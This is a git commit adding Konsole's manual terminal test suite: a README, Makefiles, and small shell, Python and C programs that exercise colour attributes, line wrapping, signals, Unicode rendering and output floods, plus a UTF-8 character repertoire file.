feat: add Konsole recipe source and patches

This commit is contained in:
2026-05-07 07:54:52 +01:00
parent 171a96c6af
commit ab85eb7b3d
632 changed files with 713138 additions and 3 deletions
@@ -0,0 +1,9 @@
SUBDIRS := bugs features legacy misc
all: $(SUBDIRS)
$(SUBDIRS):
$(MAKE) -C $@
.PHONY: all $(SUBDIRS)
@@ -0,0 +1,55 @@
Manual testcases
----------------
This directory contains various files and programs for manual testing of issues
discovered in the past.
The legacy directory contains some tests whose purpose have been lost to time.
If you know how to use them please update this README.
Text files
==========
Just run `cat filename` in Konsole to verify that they are working. If
rendering related, open in a competent graphical text editor to compare and/or
in other terminal emulators.
- [Various URLs](text-files/cat_test_urls.txt)
- [Emojis](text-files/emoji_test.txt)
- [Box characters](text-files/boxes.txt)
- [URL escape sequences](text-files/url-escape-sequences.txt): Hides the real URL that is opened if clicked.
- [Characters available in 9x15, encoded in UTF-8](text-files/9x15.repertoire-utf8.txt)
- [UTF-8 decomposed hangul character](textfiles/text-files/decomposed-hangul.txt): Testcase for commit 43744097.
- [UTF-8 test file from the Kermit project](text-files/GLASS.utf8.txt)
- [Markus Kuhn's UTF-8 sample](text-files/UTF-8-demo.txt)
- [UTF-8 stress test](text-files/UTF-8-test.txt)
Features
========
- [SGR formatting](features/sgr2-8-9-53.sh)
- [Eterm ANSI formatting test, full](features/colortest.sh)
- [Eterm ANSI formatting test, simplified](features/ct2.sh)
- [Line block characters](features/line_block_characters_table.py)
- [Signal tester](features/signaltests.c): Prints the signal it receives.
- [Set window title](features/titletest.sh)
- [Turn UTF-8 on or off](features/utf8.sh)
Bugs
====
Running these might trigger hanging or crashing.
- [Long lines](bugs/bulktest.sh): Prints an infinitely long line.
- [Combining characters](bugs/combining.py): Prints infinitely long combining character.
- [Reflow crash](bugs/resize-test.sh): Fills a single line exactly to width.
- [Spam stderr](bugs/spam-stderr.c): Prints to stderr as fast as possible. Testcase for commit ac59cc7e, bug 230184, "konsole hangs for a long time when lots of stderr output is performed".
- [Problematic unicode characters](bugs/unicode.py): Testcase for bug 210329, "some unicode characters are displayed as whitespace".
Various
=======
- [Ripple or reflow related](misc/ripple.c): Fills a specified width x height with text.
@@ -0,0 +1,6 @@
Instead of adding all of xterm's tests, download the file from [1] and
use the scripts in xterm-VERSION/vttests
[1] https://invisible-island.net/datafiles/release/xterm.tar.gz
@@ -0,0 +1 @@
all: spam-stderr
+2
View File
@@ -0,0 +1,2 @@
#!/bin/sh
while true; do echo -n x; done
@@ -0,0 +1,15 @@
#!/usr/bin/env python3
'''
Generates an endless amount of combining characters
'''
import random
import string
combs = list("\u0300\u0301\u0302\u0303\u0304\u0305\u0306\u0307\u0308\u0309\u030A\u030B\u030C\u030D\u030E\u030F")
while True:
random.shuffle(combs)
print(random.choice(string.ascii_letters)+"".join(combs), end="", flush=True)
+10
View File
@@ -0,0 +1,10 @@
#!/bin/sh
echo "Make sure konsole is built with 'cmake .. -DECM_ENABLE_SANITIZERS=address'"
echo
echo $(printf 'a%.0s' $(seq 1 $(($(stty size | cut -d\ -f2) - 1))))
echo
echo Now make the window smaller
@@ -0,0 +1,12 @@
// from https://bugs.kde.org/show_bug.cgi?id=230184
// author Stefan Westerfeld
// This code is in the public domain.
#include <stdio.h>
int main()
{
for (int i = 0; i < 100000000; i++) {
fprintf(stderr, "foo %d\n", i);
}
}
@@ -0,0 +1,37 @@
#!/usr/bin/python
# A list of some trouble-some chars
# Some taken from https://bugs.kde.org/show_bug.cgi?id=210329
print(u'\u0307')
print(u'\u2500')
print(u'\u2501')
print(u'\u2502')
print(u'\u2503')
print(u'\u2504')
print(u'\u2505')
print(u'\u2506')
print(u'\u2507')
print(u'\u2508')
print(u'\u2509')
print(u'\u250A')
print(u'\u250B')
print(u'\u250C')
print(u'\u250D')
print(u'\u250E')
print(u'\u250F')
print(u'\u254C')
print(u'\u254D')
print(u'\u254E')
print(u'\u254F')
print(u'\u256D')
print(u'\u256E')
print(u'\u256F')
print(u'\u2570')
print(u'\u2571')
print(u'\u2572')
print(u'\u2573')
@@ -0,0 +1 @@
all: signaltests
@@ -0,0 +1,53 @@
#!/bin/bash --
#
# display ANSI colours and test bold/blink attributes
# orginates from Eterm distribution
#-------------------------------------------------------------------------
ESC=$'\x1b'
CSI="${ESC}["
RST="${CSI}m"
echo ""; echo "${RST}"
echo " 40 41 42 43 44 45 46 47 49"
echo " 40 41 42 43 44 45 46 47 49"
for fg in 30 31 32 33 34 35 36 37 39 90 91 92 93 94 95 96 97
do
l1="$fg ";
l2=" ";
l3=" ";
l4=" ";
l5=" ";
l6=" ";
l7=" ";
l8=" ";
l9=" ";
l10=" ";
l11=" ";
for bg in 40 41 42 43 44 45 46 47 49
do
l1="${l1}${CSI}${fg};${bg}m Normal ${RST}"
l2="${l2}${CSI}${fg};${bg};1m Bold ${RST}"
l3="${l3}${CSI}${fg};${bg};2m Faint ${RST}"
l4="${l4}${CSI}${fg};${bg};3m Italic ${RST}"
l5="${l5}${CSI}${fg};${bg};4m Underl ${RST}"
l6="${l6}${CSI}${fg};${bg};5m Blink ${RST}"
l7="${l7}${CSI}${fg};${bg};8m Concel ${RST}"
l8="${l8}${CSI}${fg};${bg};9m Strike ${RST}"
l9="${l9}${CSI}${fg};${bg};53m Overli ${RST}"
l10="${l10}${CSI}${fg};${bg};1;5m Bold! ${RST}"
l11="${l11}${CSI}${fg};${bg};3;4m It/Und ${RST}"
done
echo "$l1"
echo "$l2"
echo "$l3"
echo "$l4"
echo "$l5"
echo "$l6"
echo "$l7"
echo "$l8"
echo "$l9"
echo "$l10"
echo "$l11"
done
+20
View File
@@ -0,0 +1,20 @@
#!/bin/sh --
#
# display ANSI colours and test bold/blink attributes
# orginates from Eterm distribution
#-------------------------------------------------------------------------
echo ""; echo ""
echo " 40 41 42 43 44 45 46 47 49"
for fg in 30 31 32 33 34 35 36 37 39
do
l1=" $fg ";
l2=" $fg ";
for bg in 40 41 42 43 44 45 46 47 49
do
l1="${l1}[${fg};${bg}m xx "
l2="${l2}[${fg};${bg};1m XX "
done
echo "$l1"
echo "$l2"
done
@@ -0,0 +1,67 @@
#!/usr/bin/python3
# Prints tables with all characters supported by LineBlockCharactersDrawer,
# one for normal weight and one for bold.
first = 0x2500
last = 0x259F
cpPerLine = 32
lineFmt = "\033[48;5;243;38;5;231m"
def fmtLine(text):
return "{}\033[{}X {}\033[49;39m".format(lineFmt, cpPerLine*2+1, text)
def fmtCh(text):
return "\033[48;5;231;38;5;16m{}{}".format(text, lineFmt)
def fmtRefCh(text):
return "\033[48;5;252;38;5;16m{}{}".format(text, lineFmt)
def setNoWrap(enable):
print("\033[?7l" if enable else "\033[?7h", end="")
def setBold(enable):
print("\033[1m" if enable else "\033[21m", end="")
def fmtBold(text):
return "\033[1m{}\033[21m".format(text)
refChars = [["|", "│┃"], ["_-", "─━"], ["L", "└┗"], ["+", "┼╋"], ["=F", "╒╬"],
["/", ""], ["\\", ""], ["X", ""]]
boxes = \
" +-----------+ ************* ,============, ╲\\ /\n" \
" | ┌───────┐ | @ ┏━━━━━━━┓ @ # ╔════════╗ # ╲\\/ \n" \
" | │ Light │ | @ ┃ Heavy ┃ @ # ║ Double ║ # X \n" \
" | └───────┘ | @ ┗━━━━━━━┛ @ # ╚════════╝ # ╱/╲\\ \n" \
" +-----------+ ************* \"============\" / ╲\\\n" \
lines = []
for cp in range(first, last+1):
columnId = int((cp - first) % cpPerLine)
lineId = int((cp - first) / cpPerLine)
if columnId == 0:
lines.append([])
lines[lineId].append(chr(cp))
setNoWrap(True)
refCharsLine = " ".join(fmtRefCh(rc[0]) + fmtCh(rc[1]) for rc in refChars)
print(fmtLine("{:8s} line width reference: {}".format("Normal", refCharsLine)))
print(fmtLine(""))
for line in lines:
print(fmtLine(" ".join(fmtCh(ch) for ch in line)))
print(fmtLine(""))
print("\n" + boxes)
setBold(True)
refCharsLine = " ".join(fmtRefCh(rc[0]) + fmtCh(rc[1]) for rc in refChars)
print(fmtLine("{:8s} line width reference: {}".format("Bold", refCharsLine)))
print(fmtLine(""))
for line in lines:
print(fmtLine(" ".join(fmtCh(ch) for ch in line)))
print(fmtLine(""))
print("\n" + boxes)
setBold(False)
setNoWrap(False)
@@ -0,0 +1,25 @@
#!/bin/sh --
#
# faint intensity support (SGR 2)
# conceal support (SGR 8)
# strikeout support (SGR 9)
# overline support (SGR 53)
# echo 'D\e[2mD\e[9mD\e[53mD\e[8mD'
echo ""; echo ""
echo " faint concel strikeout overline"
#for fg in 30 31 32 33 34 35 36 37 39
for fg in 30
do
for bg in 40 41 42 43 44 45 46 47 49
do
for sgr in 2 8 9 53
do
l1="${l1}[${fg};${bg};1m XX "
l1="${l1}[${fg};${bg};${sgr}m XX "
done
l1="${l1}\n"
done
echo "$l1"
done
@@ -0,0 +1,77 @@
/*
Author: Kasper Laudrup <laudrup@stacktrace.dk>
This code is in the public domain.
From patch from bko 214908
*/
#include <signal.h>
#include <stdio.h>
#include <string.h>
int signals[] = {SIGSTOP, SIGCONT, SIGHUP, SIGINT, SIGTERM, SIGKILL, SIGUSR1, SIGUSR2};
print_signal_name(int signal)
{
char *signame;
switch (signal) {
case SIGSTOP:
signame = "SIGSTOP";
break;
case SIGCONT:
signame = "SIGCONT";
break;
case SIGHUP:
signame = "SIGHUP";
break;
case SIGINT:
signame = "SIGINT";
break;
case SIGTERM:
signame = "SIGTERM";
break;
case SIGKILL:
signame = "SIGKILL";
break;
case SIGUSR1:
signame = "SIGUSR1";
break;
case SIGUSR2:
signame = "SIGUSR1";
break;
default:
signame = "UNKNOWN";
break;
}
printf("Caught signal: %s\n", signame);
}
void handler(int signal)
{
}
int main(int argc, char *argv[])
{
sigset_t waitset;
struct sigaction sigact;
int signal, result, i;
int signals_size = sizeof(signals) / sizeof(int);
sigemptyset(&sigact.sa_mask);
sigemptyset(&waitset);
sigact.sa_flags = 0;
sigact.sa_handler = handler;
for (i = 0; i < signals_size; i++) {
sigaction(signals[i], &sigact, NULL);
sigaddset(&waitset, signals[i]);
}
printf("Waiting for signal\n");
result = sigwait(&waitset, &signal);
if (result == 0) {
print_signal_name(signal);
return 0;
} else {
char *error = strerror(result);
printf("Error calling sigwait: %s\n", error);
return 1;
}
}
@@ -0,0 +1,32 @@
do_tests() {
tput cup 0 0; printf "$@"
for i in {0..16}; do tput cup $i 0; printf "\e#6"; done
tput cup 0 $((COLUMNS/2-1)); printf "AB"
tput cup 3 $((COLUMNS/2-1)); printf "A\bB"
tput cup 6 $((COLUMNS/2-1)); printf A; tput cud 1; printf B
tput cup 9 $((COLUMNS/2-1)); printf A; tput cuu 1; printf B
tput cup 12 $((COLUMNS/2-1)); printf A; tput cub 1; printf B
tput cup 15 $((COLUMNS/2-1)); printf A; tput cuf 1; printf B
tput cup 18 1; echo -n -- "-- Press RETURN to run next test --"
read
#sleep 5
}
clear; tput smam
do_tests "No Reverse Wrap - AutoWrap Mode"
clear; tput rmam
do_tests "No Reverse Wrap - No AutoWrap Mode"
clear; tput smam; printf "\e[?45h"
do_tests "Reverse Wrap - AutoWrap Mode"
clear; tput rmam; printf "\e[?45h"
do_tests "Reverse Wrap - No AutoWrap Mode"
clear; tput smam; printf "\e[?45l"
@@ -0,0 +1,30 @@
do_tests() {
tput cup 0 0; printf "$@"
tput cup 0 $((COLUMNS-1)); printf "AB"
tput cup 3 $((COLUMNS-1)); printf "A\bB"
tput cup 6 $((COLUMNS-1)); printf A; tput cud 1; printf B
tput cup 9 $((COLUMNS-1)); printf A; tput cuu 1; printf B
tput cup 12 $((COLUMNS-1)); printf A; tput cub 1; printf B
tput cup 15 $((COLUMNS-1)); printf A; tput cuf 1; printf B
tput cup 18 1; echo -n -- "-- Press RETURN to run next test --"
read
#sleep 5
}
clear; tput smam
do_tests "No Reverse Wrap - AutoWrap Mode"
clear; tput rmam
do_tests "No Reverse Wrap - No AutoWrap Mode"
clear; tput smam; printf "\e[?45h"
do_tests "Reverse Wrap - AutoWrap Mode"
clear; tput rmam; printf "\e[?45h"
do_tests "Reverse Wrap - No AutoWrap Mode"
clear; tput smam; printf "\e[?45l"
@@ -0,0 +1,5 @@
#!/bin/sh --
#
# display [user@host/path] in title
export PS1="\\[]2;\\u@\\H\\w\\]$ "
+11
View File
@@ -0,0 +1,11 @@
#!/bin/bash --
#
# Switch utf-8 mode
#
#-------------------------------------------------------------------------
case $1 in
on) echo $'\033%G'"UTF-8 on";;
off) echo $'\033%@'"UTF-8 off";;
*) echo "usage: $0 [on|off]";;
esac
@@ -0,0 +1 @@
all: audit quote
@@ -0,0 +1,58 @@
/*
This is a tiny test program that can be used to track down
strange effects of the emulation.
Make:
- gcc -o audit audit.c
Usage:
- In TEShell.C let syslog be stdout.
- konsole > ttt
- produce the effect in question.
- run this program.
pressing any key advances the audit
^C terminates.
You need to make sure that the size of the screen matches
the one being debugged.
This code was written by Lars Doelle <lars.doelle@on-line.de>.
This code is in the public domain.
*/
#include <stdio.h>
#include <termios.h>
#include <unistd.h>
struct termios save;
struct termios curr;
#define HERE fprintf(stderr, "%s(%d): here.\n", __FILE__, __LINE__)
main()
{
int cc;
FILE *sysin = fopen("ttt", "r");
tcgetattr(0, &save);
tcgetattr(0, &curr);
cfmakeraw(&curr);
tcsetattr(0, TCSANOW, &curr);
cc = fgetc(sysin);
while (cc > 0) {
int tmp;
while (cc > 0) {
fputc(cc, stdout);
cc = fgetc(sysin);
if (cc == 0x1b)
break;
}
tmp = fgetc(stdin);
if (tmp == 3)
break;
}
tcsetattr(0, TCSANOW, &save);
}
@@ -0,0 +1,63 @@
// a silly quotation utitility
/*
This code was written by Lars Doelle <lars.doelle@on-line.de>.
This code is in the public domain.
*/
#include <stdio.h>
#include <strings.h>
int skip = 0;
int empty = 1;
void pchr(int c, int indent)
{
if (skip) {
skip = (c != '\n');
return;
}
switch (c) {
case '\n':
if (!empty)
printf("\\n\"\n%*s\"", indent, "");
empty = 1;
break;
case '#':
skip = 1;
break;
case '"':
case '\\':
printf("\\");
// fallthrough
default:
printf("%c", c);
empty = 0;
break;
}
}
#define INDENT 2
int main(int argc, char *argv[])
{
int cc;
FILE *sysin;
if (argc < 2) {
fprintf(stderr, "usage: %s filename\n", argv[0]);
return 1;
}
sysin = fopen(argv[1], "r");
if (!sysin) {
fprintf(stderr, "cannot open %s\n", argv[1]);
perror("reason: ");
return 1;
}
printf("%*s/* generated by '%s %s' */\n\n", INDENT, "", argv[0], argv[1]);
printf("%*s\"", INDENT, "");
while ((cc = fgetc(sysin)) > 0) {
pchr(cc, INDENT);
}
printf("\"\n");
fclose(sysin);
}
@@ -0,0 +1,2 @@
#!/bin/sh
while true; do date; sleep 1; done
@@ -0,0 +1 @@
all: ripple
@@ -0,0 +1,34 @@
/*
Ripple test.
Usage: ripple [ w [ l ] ]
w = screen line width, default 80, must be > 0, max 132.
l = how many lines to display, default 1000, must be > 0.
Author: Frank da Cruz, Columbia University, 1995.
This is in the public domain as far as can be determined.
*/
char *crlf = "\015\012";
char *p =
" !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]\
^_`abcdefghijklmnopqrstuvwxyz{|}~ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGH\
IJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ !\"#$%&'()*+,-./012\
3456789:;<=>?@ABCD";
main(argc, argv) int argc;
char *argv[];
{
int i, j, w = 80, l = 1000;
if (argc > 1) /* User-specified width */
w = atoi(argv[1]);
if (argc > 2) /* User-specified number of lines */
l = atoi(argv[2]);
if (w < 1 || l < 1 || w > 132) /* Quit upon conversion error */
exit(1);
for (j = i = 0; i < l; i++) { /* Ripple loop */
write(1, p + j, w);
write(1, crlf, 2);
if (++j > 94)
j = 0;
}
}
@@ -0,0 +1,219 @@
Characters available in 9x15, encoded in UTF-8 (RFC 2279):
Basic Latin (U+0000-U+007F):
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_
`abcdefghijklmnopqrstuvwxyz{|}~
Latin-1 Supplement (U+0080-U+00FF):
 ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞß
àáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
Latin Extended-A (U+0100-U+017F):
ĀāĂ㥹ĆćĈĉĊċČčĎďĐđĒēĔĕĖėĘęĚěĜĝĞğĠġĢģĤĥĦħĨĩĪīĬĭĮįİıIJijĴĵĶķĸĹĺĻļĽľĿ
ŀŁłŃńŅņŇňʼnŊŋŌōŎŏŐőŒœŔŕŖŗŘřŚśŜŝŞşŠšŢţŤťŦŧŨũŪūŬŭŮůŰűŲųŴŵŶŷŸŹźŻżŽžſ
Latin Extended-B (U+0180-U+024F):
ƀƁƂƃƄƅƆƇƈƉƊƋƌƍƎƏƐƑƒƓƔƕƖƗƘƙƚƛƜƝƞƟƠơƢƣƤƥƦƧƨƩƪƫƬƭƮƯưƱƲƳƴƵƶƷƸƹƺƻƼƽƾƿ
ǀǁǂǃDŽDždžLJLjljNJNjnjǍǎǏǐǑǒǓǔǕǖǗǘǙǚǛǜǝǞǟǠǡǢǣǤǥǦǧǨǩǪǫǬǭǮǯǰDZDzdzǴǵǶǷǸǹǺǻǼǽǾǿ
ȀȁȂȃȄȅȆȇȈȉȊȋȌȍȎȏȐȑȒȓȔȕȖȗȘșȚțȜȝȞȟȢȣȤȥȦȧȨȩȪȫȬȭȮȯȰȱȲȳ
IPA Extensions (U+0250-U+02AF):
ɐɑɒɓɔɕɖɗɘəɚɛɜɝɞɟɠɡɢɣɤɥɦɧɨɩɪɫɬɭɮɯɰɱɲɳɴɵɶɷɸɹɺɻɼɽɾɿʀʁʂʃʄʅʆʇʈʉʊʋʌʍʎʏ
ʐʑʒʓʔʕʖʗʘʙʚʛʜʝʞʟʠʡʢʣʤʥʦʧʨʩʪʫʬʭ
Spacing Modifier Letters (U+02B0-U+02FF):
ʰʱʲʳʴʵʶʷʸʹʺʻʼʽʾʿˀˁ˂˃˄˅ˆˇˈˉˊˋˌˍˎˏːˑ˒˓˔˕˖˗˘˙˚˛˜˝˞˟ˠˡˢˣˤ˥˦˧˨˩˪˫ˬ˭ˮ
Combining Diacritical Marks (U+0300-U+036F):
̴̵̶̷̸̡̢̧̨̛̖̗̘̙̜̝̞̟̠̣̤̥̦̩̪̫̬̭̮̯̰̱̲̳̹̺̻̼̀́̂̃̄̅̆̇̈̉̊̋̌̍̎̏̐̑̒̓̔̽̾̿̕̚
͇͈͉͍͎̀́͂̓̈́͆͊͋͌͢͠͡ͅ
Greek (U+0370-U+03FF):
ʹ͵ͺ;΄΅Ά·ΈΉΊΌΎΏΐΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩΪΫάέήίΰαβγδεζηθικλμνξοπρς
στυφχψωϊϋόύώϐϑϒϓϔϕϖϗϚϛϜϝϞϟϠϡϢϣϤϥϦϧϨϩϪϫϬϭϮϯϰϱϲϳ
Cyrillic (U+0400-U+04FF):
ЀЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмноп
рстуфхцчшщъыьэюяѐёђѓєѕіїјљњћќѝўџѠѡѢѣѤѥѦѧѨѩѪѫѬѭѮѯѰѱѲѳѴѵѶѷѸѹѺѻѼѽѾѿ
Ҁҁ҂҃҄҅҆҈҉ҌҍҎҏҐґҒғҔҕҖҗҘҙҚқҜҝҞҟҠҡҢңҤҥҦҧҨҩҪҫҬҭҮүҰұҲҳҴҵҶҷҸҹҺһҼҽҾҿӀӁӂ
ӃӄӇӈӋӌӐӑӒӓӔӕӖӗӘәӚӛӜӝӞӟӠӡӢӣӤӥӦӧӨөӪӫӬӭӮӯӰӱӲӳӴӵӸӹ
Armenian (U+0530-U+058F):
ԱԲԳԴԵԶԷԸԹԺԻԼԽԾԿՀՁՂՃՄՅՆՇՈՉՊՋՌՍՎՏՐՑՒՓՔՕՖՙ՚՛՜՝՞՟աբգդեզէըթժիլխծկհձղճ
մյնշոչպջռսվտրցւփքօֆև։֊
Hebrew (U+0590-U+05FF):
ְֱֲֳִֵֶַָֹֻּֽ־ֿ׀ׁׂ׃ׄאבגדהוזחטיךכלםמןנסעףפץצקרשתװױײ׳״
Thai (U+0E00-U+0E7F):
กขฃคฅฆงจฉชซฌญฎฏฐฑฒณดตถทธนบปผฝพฟภมยรฤลฦวศษสหฬอฮฯะัาำิีึืฺุู฿เแโใไ
ๅๆ็่้๊๋์ํ๎๏๐๑๒๓๔๕๖๗๘๙๚๛
Lao (U+0E80-U+0EFF):
ກຂຄງຈຊຍດຕຖທນບປຜຝພຟມຢຣລວສຫອຮຯະັາຳິີຶືົຼຽເແໂໃໄໆ່້໊໋ໍ໐໑໒໓໔໕໖໗໘໙ໜໝ
Georgian (U+10A0-U+10FF):
ႠႡႢႣႤႥႦႧႨႩႪႫႬႭႮႯႰႱႲႳႴႵႶႷႸႹႺႻႼႽႾႿჀჁჂჃჄჅაბგდევზთიკლმნოპჟრსტუფქღყშჩ
ცძწჭხჯჰჱჲჳჴჵჶ჻
Ethiopic (U+1200-U+137F):
ሀሁሂሃሄህሆለሉሊላሌልሎሏሐሑሒሓሔሕሖሗመሙሚማሜምሞሟሠሡሢሣሤሥሦሧረሩሪራሬርሮሯሰሱሲሳሴስሶሷሸሹሺሻሼሽሾሿቀ
ቁቂቃቄቅቆቈቊቋቌቍቐቑቒቓቔቕቖቘቚቛቜቝበቡቢባቤብቦቧቨቩቪቫቬቭቮቯተቱቲታቴትቶቷቸቹቺቻቼችቾቿኀኁኂኃኄኅኆኈኊ
ኋኌኍነኑኒናኔንኖኗኘኙኚኛኜኝኞኟአኡኢኣኤእኦኧከኩኪካኬክኮኰኲኳኴኵኸኹኺኻኼኽኾዀዂዃዄዅወዉዊዋዌውዎዐዑዒዓዔዕ
ዖዘዙዚዛዜዝዞዟዠዡዢዣዤዥዦዧየዩዪያዬይዮደዱዲዳዴድዶዷዸዹዺዻዼዽዾዿጀጁጂጃጄጅጆጇገጉጊጋጌግጎጐጒጓጔጕጘጙጚጛ
ጜጝጞጠጡጢጣጤጥጦጧጨጩጪጫጬጭጮጯጰጱጲጳጴጵጶጷጸጹጺጻጼጽጾጿፀፁፂፃፄፅፆፈፉፊፋፌፍፎፏፐፑፒፓፔፕፖፗፘፙፚ፡።፣
፤፥፦፧፨፩፪፫፬፭፮፯፰፱፲፳፴፵፶፷፸፹፺፻፼
Runic (U+16A0-U+16FF):
ᚠᚡᚢᚣᚤᚥᚦᚧᚨᚩᚪᚫᚬᚭᚮᚯᚰᚱᚲᚳᚴᚵᚶᚷᚸᚹᚺᚻᚼᚽᚾᚿᛀᛁᛂᛃᛄᛅᛆᛇᛈᛉᛊᛋᛌᛍᛎᛏᛐᛑᛒᛓᛔᛕᛖᛗᛘᛙᛚᛛᛜᛝᛞᛟ
ᛠᛡᛢᛣᛤᛥᛦᛧᛨᛩᛪ᛫᛬᛭ᛮᛯᛰ
Latin Extended Additional (U+1E00-U+1EFF):
ḀḁḂḃḄḅḆḇḈḉḊḋḌḍḎḏḐḑḒḓḔḕḖḗḘḙḚḛḜḝḞḟḠḡḢḣḤḥḦḧḨḩḪḫḬḭḮḯḰḱḲḳḴḵḶḷḸḹḺḻḼḽḾḿ
ṀṁṂṃṄṅṆṇṈṉṊṋṌṍṎṏṐṑṒṓṔṕṖṗṘṙṚṛṜṝṞṟṠṡṢṣṤṥṦṧṨṩṪṫṬṭṮṯṰṱṲṳṴṵṶṷṸṹṺṻṼṽṾṿ
ẀẁẂẃẄẅẆẇẈẉẊẋẌẍẎẏẐẑẒẓẔẕẖẗẘẙẚẛẠạẢảẤấẦầẨẩẪẫẬậẮắẰằẲẳẴẵẶặẸẹẺẻẼẽẾếỀềỂể
ỄễỆệỈỉỊịỌọỎỏỐốỒồỔổỖỗỘộỚớỜờỞởỠỡỢợỤụỦủỨứỪừỬửỮữỰựỲỳỴỵỶỷỸỹ
Greek Extended (U+1F00-U+1FFF):
ἀἁἂἃἄἅἆἇἈἉἊἋἌἍἎἏἐἑἒἓἔἕἘἙἚἛἜἝἠἡἢἣἤἥἦἧἨἩἪἫἬἭἮἯἰἱἲἳἴἵἶἷἸἹἺἻἼἽἾἿὀὁὂὃ
ὄὅὈὉὊὋὌὍὐὑὒὓὔὕὖὗὙὛὝὟὠὡὢὣὤὥὦὧὨὩὪὫὬὭὮὯὰάὲέὴήὶίὸόὺύὼώᾀᾁᾂᾃᾄᾅᾆᾇᾈᾉᾊᾋᾌᾍ
ᾎᾏᾐᾑᾒᾓᾔᾕᾖᾗᾘᾙᾚᾛᾜᾝᾞᾟᾠᾡᾢᾣᾤᾥᾦᾧᾨᾩᾪᾫᾬᾭᾮᾯᾰᾱᾲᾳᾴᾶᾷᾸᾹᾺΆᾼ᾽ι᾿῀῁ῂῃῄῆῇῈΈῊΉῌ῍῎῏
ῐῑῒΐῖῗῘῙῚΊ῝῞῟ῠῡῢΰῤῥῦῧῨῩῪΎῬ῭΅`ῲῳῴῶῷῸΌῺΏῼ´῾
General Punctuation (U+2000-U+206F):
           ‐‑‒–—―‖‗‘’‚‛“”„‟†‡•‣․‥…‧ ‰‱′″‴‵‶‷‸‹›※‼‽‾‿⁀⁁⁂⁃⁄⁅⁆⁈⁉⁊⁋⁌
Superscripts and Subscripts (U+2070-U+209F):
⁰⁴⁵⁶⁷⁸⁹⁺⁻⁼⁽⁾ⁿ₀₁₂₃₄₅₆₇₈₉₊₋₌₍₎
Currency Symbols (U+20A0-U+20CF):
₠₡₢₣₤₥₦₧₨₩₪₫€₭₮₯
Combining Marks for Symbols (U+20D0-U+20FF):
⃒⃓⃘⃙⃚⃐⃑⃔⃕⃖⃗⃛⃜⃝⃞⃟⃠⃡⃢⃣
Letterlike Symbols (U+2100-U+214F):
℀℁ℂ℃℄℅℆ℇ℈℉ℊℋℌℍℎℏℐℑℒℓ℔ℕ№℗℘ℙℚℛℜℝ℞℟℠℡™℣ℤ℥Ω℧ℨ℩KÅℬℭ℮ℯℰℱℲℳℴℵℶℷℸℹ℺
Number Forms (U+2150-U+218F):
⅓⅔⅕⅖⅗⅘⅙⅚⅛⅜⅝⅞⅟ⅠⅡⅢⅣⅤⅥⅦⅧⅨⅩⅪⅫⅬⅭⅮⅯⅰⅱⅲⅳⅴⅵⅶⅷⅸⅹⅺⅻⅼⅽⅾⅿↀↁↂↃ
Arrows (U+2190-U+21FF):
←↑→↓↔↕↖↗↘↙↚↛↜↝↞↟↠↡↢↣↤↥↦↧↨↩↪↫↬↭↮↯↰↱↲↳↴↵↶↷↸↹↺↻↼↽↾↿⇀⇁⇂⇃⇄⇅⇆⇇⇈⇉⇊⇋⇌⇍⇎⇏
⇐⇑⇒⇓⇔⇕⇖⇗⇘⇙⇚⇛⇜⇝⇞⇟⇠⇡⇢⇣⇤⇥⇦⇧⇨⇩⇪⇫⇬⇭⇮⇯⇰⇱⇲⇳
Mathematical Operators (U+2200-U+22FF):
∀∁∂∃∄∅∆∇∈∉∊∋∌∍∎∏∐∑−∓∔∕∖∗∘∙√∛∜∝∞∟∠∡∢∣∤∥∦∧∨∩∪∫∬∭∮∯∰∱∲∳∴∵∶∷∸∹∺∻∼∽∾∿
≀≁≂≃≄≅≆≇≈≉≊≋≌≍≎≏≐≑≒≓≔≕≖≗≘≙≚≛≜≝≞≟≠≡≢≣≤≥≦≧≨≩≪≫≬≭≮≯≰≱≲≳≴≵≶≷≸≹≺≻≼≽≾≿
⊀⊁⊂⊃⊄⊅⊆⊇⊈⊉⊊⊋⊌⊍⊎⊏⊐⊑⊒⊓⊔⊕⊖⊗⊘⊙⊚⊛⊜⊝⊞⊟⊠⊡⊢⊣⊤⊥⊦⊧⊨⊩⊪⊫⊬⊭⊮⊯⊰⊱⊲⊳⊴⊵⊶⊷⊸⊹⊺⊻⊼⊽⊾⊿
⋀⋁⋂⋃⋄⋅⋆⋇⋈⋉⋊⋋⋌⋍⋎⋏⋐⋑⋒⋓⋔⋕⋖⋗⋘⋙⋚⋛⋜⋝⋞⋟⋠⋡⋢⋣⋤⋥⋦⋧⋨⋩⋪⋫⋬⋭⋮⋯⋰⋱
Miscellaneous Technical (U+2300-U+23FF):
⌀⌁⌂⌃⌄⌅⌆⌇⌈⌉⌊⌋⌌⌍⌎⌏⌐⌑⌒⌓⌔⌕⌖⌗⌘⌙⌚⌛⌜⌝⌞⌟⌠⌡⌢⌣⌤⌥⌦⌧⌨〈〉⌫⌬⌭⌮⌯⌰⌱⌲⌳⌴⌵⌶⌷⌸⌹⌺⌻⌼⌽⌾⌿
⍀⍁⍂⍃⍄⍅⍆⍇⍈⍉⍊⍋⍌⍍⍎⍏⍐⍑⍒⍓⍔⍕⍖⍗⍘⍙⍚⍛⍜⍝⍞⍟⍠⍡⍢⍣⍤⍥⍦⍧⍨⍩⍪⍫⍬⍭⍮⍯⍰⍱⍲⍳⍴⍵⍶⍷⍸⍹⍺⍻⍽⍾⍿⎀
⎁⎂⎃⎄⎅⎆⎇⎈⎉⎊⎋⎌⎍⎎⎏⎐⎑⎒⎓⎔⎕⎖⎗⎘⎙⎚
Control Pictures (U+2400-U+243F):
␀␁␂␃␄␅␆␇␈␉␊␋␌␍␎␏␐␑␒␓␔␕␖␗␘␙␚␛␜␝␞␟␠␡␢␣␤␥␦
Optical Character Recognition (U+2440-U+245F):
⑀⑁⑂⑃⑄⑅⑆⑇⑈⑉⑊
